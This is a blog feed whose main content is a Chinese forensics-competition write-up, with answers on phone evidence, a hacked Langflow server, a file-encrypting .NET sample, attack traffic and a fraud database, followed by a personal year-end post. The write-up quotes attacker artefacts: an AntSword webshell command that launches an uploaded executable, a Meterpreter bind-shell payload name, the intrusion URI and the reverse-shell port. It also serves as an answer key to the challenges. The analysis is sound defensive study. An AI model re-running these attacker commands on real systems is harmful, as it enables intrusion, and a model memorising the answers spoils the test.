start="7"><li><p>李伟在非工作时间（18:00-次日8:00）向王芳发送的加密文件数量占其向王芳发送的所有加密文件数量的百分比为多少？<br/>ai代码筛选<br/><img alt="assets/2025数证决赛个人/file-20251219212756719.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-034-12ad0ac58c.png"/></p></li><li><p>分析手机检材，检材中的记账app是通过应用市场APP安装的，该应用市场的包名是？<br/><img alt="assets/2025数证决赛个人/file-20251219212958615.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-035-a2da013740.png"/><br/>com.xiaomi.market<br/>搞错了，细看在wandoujia这个目录下：<br/><img alt="assets/2025数证决赛个人/file-20251220085659218.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-036-890e777910.png"/><br/>所以是豌豆荚<br/> com.wandoujia.phoenix2</p></li><li><p>分析手机检材，检材中的记账app安装包MD5为？<br/><img alt="assets/2025数证决赛个人/file-20251219213852505.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-037-43c3eb4062.png"/><br/><img alt="assets/2025数证决赛个人/file-20251219214029203.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-038-f065e0beb7.png"/><br/>003e9c929adf12a56770dc5d9c5109a6</p></li><li><p>分析手机检材，嫌疑人记账APP中的支出项一共有几个分类？<br/>7<br/><img alt="assets/2025数证决赛个人/file-20251220084608170.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-039-fe950246b1.png"/><br/>不对，是支出项，后面方针起来了看到是4<br/><img alt="assets/2025数证决赛个人/file-20251220114032027.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-040-9266235369.png"/></p></li><li><p>分析手机检材，最终张总给了嫌疑人多少钱？<br/>先apk仿真：<br/><img alt="assets/2025数证决赛个人/file-20251220095213747.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-041-a801c8ec3a.png"/><br/>共享文件中把数据文件夹拖进去<br/>MT管理器拷贝到内部/data/data目录下<br/><img alt="assets/2025数证决赛个人/file-20251220095336752.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-042-f2a0aafdae.png"/><br/>修改用户组都改成<br/><strong><code>10064 - u0_a64</code></strong><br/>应用到子文件两个全部勾选<br/>重启apk<br/><img alt="assets/2025数证决赛个人/file-20251220113446845.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-043-0b8dfd4a47.png"/><br/>frida启动（一开始不行，换了下frida版本就可以了，兼容问题，在雷电的设置里面：<br/><img alt="assets/2025数证决赛个人/file-20251220113455990.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-044-484f76fef4.png"/><br/>密码是0410<br/><img alt="assets/2025数证决赛个人/file-20251220113526170.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-045-e93ca5854f.png"/><br/>进去备卡出来了，一次性数据库这一块<br/>断网大法，重装数据库文件夹，并开启飞行模式<br/><img alt="assets/2025数证决赛个人/file-20251220114220826.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-046-b71bb39aeb.png"/><br/>看到定金加尾款150000</p></li><li><p>分析手机检材，检材中的记账app的隐私密码是什么？<br/>0410<br/>前面frida跑出来了</p></li></ol><h2 id="服务器取证">服务器取证</h2><ol><li>AI服务的对外端口是多少？<br/>找一下看到ai的服务在<br/><img alt="assets/2025数证决赛个人/file-20251217190900983.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-047-69e3e2b158.png"/><br/>然后看到有一个nohup.out文件，这是输出日志<br/><img alt="assets/2025数证决赛个人/file-20251217190852116.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-048-412a1b0e42.png"/><br/>看到 Open Langflow → <a href="http://localhost:7860" rel="noopener nofollow" target="_blank">http://localhost:7860</a><br/>端口号为7860</li><li>当前AI服务共有多少普通用户？<br/>思路是看数据库：<br/>打开.env文件，这个文件通常用于存储环境变量配置，<br/><img alt="assets/2025数证决赛个人/file-20251217191232525.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-049-a2e1c3b18e.png"/><br/>在.env里搜索database<br/><img alt="assets/2025数证决赛个人/file-20251217191619392.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-050-89557258aa.png"/><br/>问了问ai<br/><code>root@yxtserver:~# find / -name "langflow.db" 2&gt;/dev/null</code><br/><code>/home/langflow/lib/python3.10/site-packages/langflow/langflow.db</code><br/><code>/root/.cache/langflow/langflow.db</code></li></ol><p>搜到数据库以后进去看<br/><img alt="assets/2025数证决赛个人/file-20251217195039255.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-051-07ef500fab.png"/></p><p><img alt="assets/2025数证决赛个人/file-20251217195922192.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-052-c2a305444c.png"/><br/>注意第一个是超级用户<br/>8个</p><ol start="3"><li><p>已知管理员密码是xxxx@2025，x为小写字母，AI服务的管理员明文密码是多少？<br/>sszb@2025<br/>写个字典用hashcat爆一下：<br/><img alt="assets/2025数证决赛个人/file-20251217203637645.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-053-eda95ee436.png"/><br/>密码：sszb@2025<br/>启动ai服务：<br/>/home/langflow/bin/langflow run --env-file /home/langflow/.env<br/><img alt="assets/2025数证决赛个人/file-20251217204443605.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-054-63a7e821b1.png"/><br/><img alt="assets/2025数证决赛个人/file-20251217204611500.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-055-87d329c4c5.png"/></p></li><li><p>AI服务的对话历史中某个用户上传了一个文件，该文件sha256后八位是多少？</p></li></ol><p>31fa8c0f-e569-4399-b8ec-5d866bbd095c/2025-11-04_11-20-38_play.png<br/>message表里有这个文件<br/><img alt="assets/2025数证决赛个人/file-20251217202027712.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-056-f0686a1999.png"/><br/><img alt="assets/2025数证决赛个人/file-20251217202306084.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-057-a3d6b431c3.png"/><br/><img alt="assets/2025数证决赛个人/file-20251217202333251.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-058-f2eca5d9b4.png"/><br/>7852b855<br/>5. 已知黑客攻击了AI服务器获取了权限，该黑客利用了哪个接口uri进行攻击的？<br/>在找到数据库的目录下能看到一个log文件，分析一下：<br/><img alt="assets/2025数证决赛个人/file-20251217203208531.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-059-31088e1f42.png"/><br/>/api/v1/files/upload/a9a80eb5-e5ef-4310-9468-ee96f570b4ac</p><ol start="6"><li><p>已知黑客攻击了AI服务器获取了权限，请问黑客反弹shell的连接的端口是多少？<br/>7788<br/>ai搓出来的分析脚本<br/><img alt="assets/2025数证决赛个人/file-20251217212552285.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-060-2b907856cf.png"/></p></li><li><p>黑客通过ssh登录服务器所用的ip是多少？<br/>查看SSH登录记录<br/><img alt="assets/2025数证决赛个人/file-20251217212744368.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-061-3fc0ad446a.png"/><br/><img alt="assets/2025数证决赛个人/file-20251217212827533.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-062-58dd41a873.png"/><br/>也可以a脚本撕开<br/>172.23.194.1</p></li><li><p>已知黑客入侵服务器后植入了一个隐藏文件，该程序的全路径（包括扩展名）为？</p></li></ol><h2 id="程序功能分析">程序功能分析</h2><ol><li>分析程序"MicroSoft-Edge.zip"，实现"对桌面文件遍历并加密"逻辑的动态链接库文件为？<br/>看到壳里面是一个.net程序<br/><img alt="assets/2025数证决赛个人/file-20260208003721095.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-063-0f1a29f59b.png"/></li></ol><p><img alt="assets/2025数证决赛个人/file-20260208002751250.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-064-22ea42c3b1.png"/><br/>结合ida例分析也可以确定是.net</p><p>静态分析+白名单过滤缩小范围：</p><pre><code>import re    path = r'C:\Users\27516\Desktop\MicroSoft-Edge.exe'    try:      with open(path, 'rb') as f:          data = f.read()  except FileNotFoundError:      print("找不到文件，请检查路径")      exit()    # ---------------------------  # 优化点 1: 双模搜索 (ASCII + UTF-16)# ---------------------------  # ASCII 模式  pat_ascii = re.compile(br'[A-Za-z0-9_.-]&#123;3,80&#125;\.dll', re.IGNORECASE)  # UTF-16LE 模式 (匹配可见字符后跟一个\x00)  pat_wide = re.compile(br'(?:[A-Za-z0-9_.-]\x00)&#123;3,80&#125;\.dll\x00', re.IGNORECASE)    items = []    # 提取 ASCIIfor m in pat_ascii.finditer(data):      try:          items.append(m.group().decode('ascii'))      except:          pass    # 提取 UTF-16 (需要把 \x00 去掉才能变成正常字符串)  for m in pat_wide.finditer(data):      try:          items.append(m.group().decode('utf-16le'))      except:          pass    # 去重  uniq = sorted(set(items), key=str.lower)    # ---------------------------  # 优化点 2: 更狠的黑名单 (根据之前运行结果补充)  # ---------------------------  # 这些是之前 99 个结果里出现的干扰项，加进来屏蔽掉  ignore_prefixes = (      # 系统底层      'api-ms-', 'ext-ms-', 'msvcp', 'vcruntime', 'ucrt', 'kernel', 'user32',      'gdi', 'advapi', 'ole', 'shell', 'ntdll', 'ws2_', 'crypt', 'bcrypt', 'secur',      'shlwapi', 'comdlg', 'wininet', 'winhttp', 'version', 'mscoree', 'mscorlib',      'imm32', 'normaliz', 'dwmapi', 'uxtheme', 'urlmon', 'wldp', 'powrp',      # .NET / WPF 框架垃圾      'system.', 'microsoft.', 'windows.', 'netstandard', 'presentation',      'reachframework', 'milcore', 'uiautomation', 'accessibility', 'clrcompression',      'directwrite', 'd3d', 'windowsbase', 'windowsforms', 'visualbasic'  )  ignore_suffixes = ('.resources.dll', '.ni.dll')    sus = []  for s in uniq:      low = s.lower()        # 只要命中任意一个忽略前缀，就跳过      if low.startswith(ignore_prefixes): continue      # 只要命中任意一个忽略后缀，就跳过      if low.endswith(ignore_suffixes): continue        sus.append(s)    print(f'Total valid dll strings found: &#123;len(uniq)&#125;')  print('=' * 50)  print('Suspicious candidates (Most likely to least likely):')  print('=' * 50)      # ---------------------------  # 优化点 3: 简单的启发式排序  # ---------------------------  # 名字越短越可疑，名字里带 encrypt/hack 的越可疑  def score(name):      s = 0      if len(name) &lt; 15: s += 10  # 名字短+10分      if 'encrypt' in name.lower(): s += 100  # 命中关键词+100分      return s      sus.sort(key=score, reverse=True)    for i, s in enumerate(sus[:30]):      print(f"[&#123;i + 1&#125;] &#123;s&#125;")</code></pre><p><img alt="assets/2025数证决赛个人/file-20260207120915892.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-065-1a09e4f986.png"/><br/>1、2可以得知的确有encrypt.dll这个资源<br/>脚本dump出来<br/><img alt="assets/2025数证决赛个人/file-20260208185911312.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-066-9c63435e3b.png"/><br/>看到有一个encrypt的资源包里<br/>通过主程序代码分析：<br/><img alt="assets/2025数证决赛个人/file-20260208190111368.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-067-a9a3b56275.png"/><br/><img alt="assets/2025数证决赛个人/file-20260208190125588.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-068-7f0bd9859c.png"/><br/>看到调用了这个库<br/><img alt="assets/2025数证决赛个人/file-20260208190145225.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-069-e95d706dde.png"/><br/>基本确定了<br/><img alt="assets/2025数证决赛个人/file-20260208194236738.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-070-04334590ef.png"/><br/>还能看到执行功能的函数应该是这个Encryptfolder<br/>再把MicroSoft_Edge.Resources.encrypt.dll给dump出来验证下<br/><img alt="assets/2025数证决赛个人/file-20260208190516589.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-071-6b03a9adcf.png"/><br/>这里直接显示了 <code>PE</code>、<code>DOS头</code>说明这个内层是c++写的<br/>查看exports<br/>看到encryptfolder<br/><img alt="assets/2025数证决赛个人/file-20260208192812506.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-072-d8084d0656.png"/><br/>进一步分析看到很明显的加密功能痕迹<img alt="assets/2025数证决赛个人/file-20260208194509154.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-073-79f908ab7b.png"/><br/>encrypt.dll<br/>2. 分析程序"MicroSoft-Edge.zip"，程序从DLL中获取函数指针后，使用哪个API将其转换为委托并执行？<br/>Marshal.GetDelegateForFunctionPointer<br/><img alt="assets/2025数证决赛个人/file-20260209122018580.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-074-b1cad4b7f4.png"/><br/>3. 分析程序"MicroSoft-Edge.zip"，接上题，该动态链接库文件用于加密文件的加密算法为？<br/>有明文提示是AES<br/><img alt="assets/2025数证决赛个人/file-20260209122104948.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-075-540c496fcf.png"/></p><ol start="4"><li><p>分析程序"MicroSoft-Edge.zip"，接上题，该加密算法的初始密钥（十六进制）？</p></li><li><p>分析程序"MicroSoft-Edge.zip"，接上题，该加密算法的初始向量（十六进制）？</p></li><li><p>分析程序"MicroSoft-Edge.zip"，对附件try.txt.enc进行解密，解密后的内容为？</p></li></ol><h2 id="网络流量分析">网络流量分析</h2><ol><li><p>被攻击ip开放了多少个端口？<br/>tcp.flags.syn == 1 &amp;&amp; tcp.flags.ack == 1<br/>(把所有“握手成功”的回包筛选出来)<br/><img alt="assets/2025数证决赛个人/file-20260101205701560.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-076-cfccfce6fc.png"/><br/>可以看到攻击者是10.0.0.68，被攻击者是172.16.233.2<br/><img alt="assets/2025数证决赛个人/file-20260101210950740.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-077-f40027ef1e.png"/><br/>tcp筛选后从这里看到有七个port<br/><img alt="assets/2025数证决赛个人/file-20260101211107366.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-078-e40a528477.png"/></p></li><li><p>攻击者攻击的站点是什么内容管理系统？<br/><img alt="assets/2025数证决赛个人/file-20260101213122047.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-079-ea59d5f7d1.png"/><br/>查看http的响应html代码<img alt="assets/2025数证决赛个人/file-20260101213151379.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-080-d0ba870268.png"/><br/>seacms</p></li><li><p>攻击者通过暴力破解获取到的用户账号的密码是多少？<br/>cslab<br/>net-a梭出来的前面是账号后面是密码<br/><img alt="assets/2025数证决赛个人/file-20260101220505973.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-081-f65c759045.png"/></p></li><li><p>攻击者上传的恶意文件MD5值为多少？<br/>提取出来的exe<br/><img alt="assets/2025数证决赛个人/file-20260101215145461.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-082-4fad345646.png"/><br/>4a5d7db9cdfbbe9ef6be58add2dd7d43</p></li><li><p>攻击者使用蚁剑执行的最后一条命令是什么？<br/>cd /d "C:/WWW/data/admin"&amp;zhengxiang.exe&amp;echo aae855ae69&amp;cd&amp;echo c39d656dc7b<br/><img alt="assets/2025数证决赛个人/file-20260101215242318.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-083-68b322138f.png"/></p></li><li><p>通过流量分析可知，攻击者最终采用何种标准远控载荷类型，以维持正向连接Shell?<br/>流量中被攻击的主机系统信息显示为 <code>64-bit Windows 10</code><br/>传入的是pe文件<br/>所以是windows/x64</p></li></ol><p>攻击者主动去连接受害者的端口所以是bind_tcp<br/>AntSword 执行命令后建立的那个 TCP 连接，其内容是二进制流（加密/混淆的 TLV 数据），而非明文的 CMD 提示符,所以是meterpreter/bind_tcp</p><p>windows/x64/meterpreter/bind_tcp</p><h2 id="数据分析">数据分析</h2><ol><li>分析数据库检材，直接推荐了最多下线用户共推荐了多少位下线。<br/><img alt="assets/2025数证决赛个人/file-20260102091833506.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-084-fd34ab5940.png"/><br/>思路来自zzpu213，软件好用的<br/>可看到除了没有推荐人以外，第一是17个</li><li>分析数据库检材，用户等级为"合伙人"的用户USDT的总投资金额为？</li></ol><p><img alt="assets/2025数证决赛个人/file-20260102092907602.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-085-f5a422b6f8.png"/></p><p><img alt="assets/2025数证决赛个人/file-20260102092923208.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-086-6ff71cf59e.png"/><br/>按user_id连接表后查询</p><p><img alt="assets/2025数证决赛个人/file-20260102092851343.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-087-99538acd6b.png"/><br/>3. 分析数据库检材，平台在2022年度的平均每季度新增用户数为多少？<br/>623</p><pre><code class="language-python"># 导入所需依赖import pandas as pd# 从dfs中提取所需的数据表# dfs[0]: 名称：`raw_user_data`, 描述：用户数据表，包含用户信息和注册时间# 获取原始用户数据user_df = dfs[0]# 将register_time转换为datetime类型user_df['register_time'] = pd.to_datetime(user_df['register_time'])# 筛选2022年度的注册用户users_2022 = user_df[(user_df['register_time'] &gt;= '2022-01-01') &amp;                      (user_df['register_time'] &lt;= '2022-12-31')]# 按季度分组统计新增用户数quarterly_new_users = users_2022['register_time'].dt.to_period('Q').value_counts().sort_index()# 计算平均每季度新增用户数avg_quarterly_new_users = quarterly_new_users.mean()# 创建结果字典result = &#123;    "type": "string",    "value": f"平台在2022年度的平均每季度新增用户数为: &#123;avg_quarterly_new_users:.1f&#125;"&#125;</code></pre><ol start="4"><li>分析数据库检材，在用户推荐关系网络中，层级最深的用户链条包含多少个用户。<br/>7</li></ol><pre><code class="language-python"># 导入所需依赖import pandas as pdimport networkx as nx# 从dfs中提取所需的数据表# dfs[0]: 名称：`raw_user_data`, 描述：用户数据表，包含用户信息和推荐关系# 获取原始用户数据user_df = dfs[0]# 创建有向图来存储用户推荐关系G = nx.DiGraph()# 添加节点和边for _, row in user_df.iterrows():    if pd.notna(row['recommender_id']) and row['recommender_id'] in user_df['user_id'].values:        G.add_edge(row['recommender_id'], row['user_id'])# 找出所有无入度的节点(可能是根节点)roots = [node for node in G.nodes() if G.in_degree(node) == 0]# 计算从每个根节点出发的最长路径max_depth = 0for root in roots:    lengths = nx.shortest_path_length(G, root)    if lengths:  # 确保有子节点        current_max = max(lengths.values())        if current_max &gt; max_depth:            max_depth = current_max# 最长链条的用户数量 = 路径长度 + 1 (因为路径长度计算的是边的数量)longest_chain_users = max_depth + 1 if max_depth &gt; 0 else 1# 创建结果字典result = &#123;    "type": "string",    "value": f"用户层级中最深的链条包含 &#123;longest_chain_users&#125; 个用户"&#125;</code></pre><p>也可以用软件：<br/>把user表导入组织架构<br/><img alt="assets/2025数证决赛个人/file-20260102103821046.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-088-273d349915.png"/><br/>null除去是7层<br/>5. 分析数据库检材，该平台用户在同一时间内同时进行2笔以上大额交易（单笔数值&gt;5000）的异常用户有多少人？</p><pre><code>SELECT COUNT(DISTINCT user_id) AS 异常用户总数FROM (    SELECT user_id, DATE(trans_time) as trans_date    FROM financial_transactions    WHERE amount &gt; 5000 and status == '成功'    GROUP BY user_id, trans_date    HAVING COUNT(*) &gt;= 2);</code></pre><p>8<br/><img alt="assets/2025数证决赛个人/file-20260102105514821.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-089-bc2950583c.png"/><br/>6. 分析数据库检材，2023年10月11日之前的90天内无任何交易且此前为活跃用户（注册后90天内有过交易）的潜在失效用户有多少？</p><pre><code>SELECT COUNT(*) AS 潜在失效用户数FROM (    -- 第一步：筛选出“注册后90天内有过【成功】交易”的活跃老用户    SELECT DISTINCT t.user_id    FROM financial_transactions t    JOIN raw_user_data u ON t.user_id = u.user_id    WHERE t.trans_time &gt;= u.register_time      AND t.trans_time &lt;= DATETIME(u.register_time, '+90 days')      AND t.status = '成功'  -- 新增条件) AS valid_usersWHERE user_id NOT IN (    -- 第二步：排除掉在“近期90天窗口期”内有【成功】交易的用户    SELECT DISTINCT user_id    FROM financial_transactions    WHERE trans_time &gt;= '2023-07-13 00:00:00'       AND trans_time &lt; '2023-10-11 00:00:00'      AND status = '成功'  -- 新增条件);</code></pre><p>662<br/><img alt="assets/2025数证决赛个人/file-20260102105812235.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-090-afe59a6f35.png"/></p><p>假期里一直在治病耽搁了，逆向好难...</p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/03/08/2026-03-08-cnblogs-19686940-2025%E6%95%B0%E8%AF%81%E5%86%B3%E8%B5%9B%E4%B8%AA%E4%BA%BA/</id>
    <link href="https://joyooosama.github.io/blog/2026/03/08/2026-03-08-cnblogs-19686940-2025%E6%95%B0%E8%AF%81%E5%86%B3%E8%B5%9B%E4%B8%AA%E4%BA%BA/"/>
    <published>2026-03-08T09:57:00.000Z</published>
    <summary>
      <![CDATA[检材密码：!fR7$pX3&amp;zT9@kL5*wV1#sG7%qD3^yA9(mB2)jN6~hY4+gC8dW2=eK5;fX7?vM3[oL9]tR4}uS1&lt;yJ5&gt;iP8_bH3:zD6&quot;nQ2&#39;pF4lA7|sC1\wE9/rT3=vY6 一、 计算机取]]>
    </summary>
    <title>2025数证决赛个人</title>
    <updated>2026-03-08T10:01:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="生活" scheme="https://joyooosama.github.io/blog/tags/%E7%94%9F%E6%B4%BB/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p>前两天的网易云年度总结我的关键词是希望。于我而言，这或许是充满遗憾的一年，但同样不可否认的，我一直在寻找着希望和自我。<img alt="assets/2025年度总结乐观版/46315aa4da47093fc1f1452bb423f310.png" loading="lazy" src="/blog/img/cnblogs/19428712/image-001-f44dd9d144.png"/><br/>2025年，我作出了很多“第一次”的尝试：</p><p>第一次踏进辽东三省壮美的雪国：圆了南方孩子从小到大对于雪的每一种梦想：<br/><img alt="assets/2025年度总结乐观版/8ab14fffdcdce67f95cc7279828ae3d1 1.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-002-600d335005.jpg"/><br/>我大概永远不会忘掉长白山皑皑的雪和晶莹剔透的雾凇<br/><img alt="assets/2025年度总结乐观版/a86712feb3fd7ad1390fe946b8035a80.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-003-1feec09432.jpg"/><br/><img alt="assets/2025年度总结乐观版/bf64d515c0edbec36f942ec4a588be35.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-004-0fb12e838d.jpg"/><br/><img alt="assets/2025年度总结乐观版/af151e2ee261c404d809f85a2210eeb4.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-005-898ffefbb1.jpg"/><br/>很喜欢的一张）</p><p>第一次和朋友说走就走，雨夜爬泰山：6小时登顶。熬过点的我们甚至神采奕奕地在南天门后拍了半小时照。<s>直到坐缆车到山脚下等车时，才从贴在身上湿冷的衣裤与没有温度的朝阳中觉出强烈的疲倦</s><br/><img alt="assets/2025年度总结乐观版/32e9b580c79e7d3d9e556ca7e067b781.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-006-9089e02541.jpg"/><br/><img alt="assets/2025年度总结乐观版/b7ece7e1cb17c61e02a0a34878152637.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-007-1415665671.jpg"/><br/><img alt="assets/2025年度总结乐观版/ae74c897faa522cc1aee4157b5213d08.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-008-5ff9f64197.jpg"/></p><p>第一次尝试着从剧本到分镜设计，到拍摄，到剪辑的短视频制作：（反诈小视频）<s>差点因为敏感信息被淦，紧急撤回一条pyq</s>：<img alt="assets/2025年度总结乐观版/174a2228aac86625072457afbb89b5af.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-009-d7bf40a5c2.jpg"/><br/><img alt="assets/2025年度总结乐观版/5bce0b7553175b8c56addebb7b79c063.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-010-2c992e404d.jpg"/></p><p>第一次尝试直播：某sir因为脚伤无法同行，虽一个人爬大峡谷，顺便开个直播，没想到竟能收到粉丝打赏哈哈哈<br/><s>特别鸣谢鸟老师</s><br/><img alt="assets/2025年度总结乐观版/846d576da01f97a522a76e792eda508f.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-011-099a9388ce.jpg"/><br/><img alt="assets/2025年度总结乐观版/a9e0f9097e7c9f8497e20829ad25a147.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-012-d297604ef8.jpg"/>这个土家族烧饼真的绝了</p><p>第一次在精达找到飞盘组织：一直想在大学能够有机会打飞盘，直到遇到路加，一拍即合创建飞盘社<s>（还在路上）</s>，遇到了好多热爱的小伙伴！<img alt="assets/2025年度总结乐观版/8a7ce158fa075dd71f1c0f7d0d658daa.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-013-91f228e61f.jpg"/></p><p>啊终于到取证了，明明这里才是大头来着（雾</p><p>第一次参加取证线下比赛：<br/>怀着紧张与期待，本想大展拳脚却被现实冷冷教育。上午的个人赛做的太不尽人意，好在下午找回些状态，在计算机和服务器上有些突破，和宝箱哥还有k濠sama一起拿下国二。<img alt="assets/2025年度总结乐观版/996690d03a76dfdfca3ddf6d24bca561.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-014-116577987b.jpg"/><img alt="assets/2025年度总结乐观版/e9ee9f87ad42256853be6a4111e17b59.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-015-99b14d91af.jpg"/><img alt="assets/2025年度总结乐观版/3aaa63c7ae1711801ce1a3ad608a4c75.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-016-821014a269.jpg"/><br/><s>此时Joy还不知到他即将在这里面临半小时登不进网站，心态炸裂而时间分配失误，漏做一堆简单题，遗憾离场</s><br/>本来兴致勃勃准备和群佬们面基的热情，也被浇得一地鸡毛，只恨自己太菜。<img alt="assets/2025年度总结乐观版/55d10aa977431e488e996d50dbf52d08.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-017-2c8ce63aeb.jpg"/><br/><s>美食倒是吃了不少</s><br/>好在最后还是跟着组织有幸加上了许多厉害的师傅，与他们交流让我深刻的意识到了手机这块的不足和与真正的佬之间的差距。<br/>立个flag，如果有明年，至少个人二等，团体一等。Revenge！！！<br/><img alt="assets/2025年度总结乐观版/c7de3068048ec4eedcc15fa77539313d.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-018-0c0df8df35.jpg"/><br/>在厦门海滩上写的，希望明年能以更轻松的心情复刻）</p><p>第一次回家参加线下取证比赛：<br/>依旧心情激动回家，五味杂陈离开。很幸运能够回家打比赛，经过美亚失利更加认真备赛想打出成绩，却因为命运开了个玩笑只拿到三等奖。<s>（队伍里一台电脑开赛突发坏掉）</s><img alt="assets/2025年度总结乐观版/3e56a3e0f4d7457dcb1ff32e9066c29e.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-019-748a72591c.jpg"/><br/><img alt="assets/2025年度总结乐观版/49a5f37277cedc3930cff6015615818d.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-020-615f3d4c3d.jpg"/>事已至此先吃饭吧，我真的好想念家头的的豌豆颠www<img alt="assets/2025年度总结乐观版/332c274e3186f9f12f1990817d322a60.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-021-db705211fb.jpg"/><br/>依旧交朋友，跟着骏哥哥认识了好多师傅，故乡结新知，真的很开心<br/><img alt="assets/2025年度总结乐观版/06d170ef2738389caa6a6a9804cffec4.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-022-b18084f94b.jpg"/><br/><s>这口夜蹄花，我大概这辈子都不会忘记你吧</s><br/><img alt="assets/2025年度总结乐观版/03be29a977ad9ea73774b4777a30f025.jpg" loading="lazy" src="/blog/img/cnblogs/19428712/image-023-66a71873bf.jpg"/><br/>回家了就得吃点好的，抚慰一下</p><p>第一次尝试出取证题，本是值岗周接到任务，又第一次干怕搞不定，好在最后有惊无险整出来了。本以为只是作教学的竟然在不久后的某测试里遇见了(ﾟдﾟ≡ﾟдﾟ)<br/><img alt="assets/2025年度总结乐观版/file-20251231222026180.png" loading="lazy" 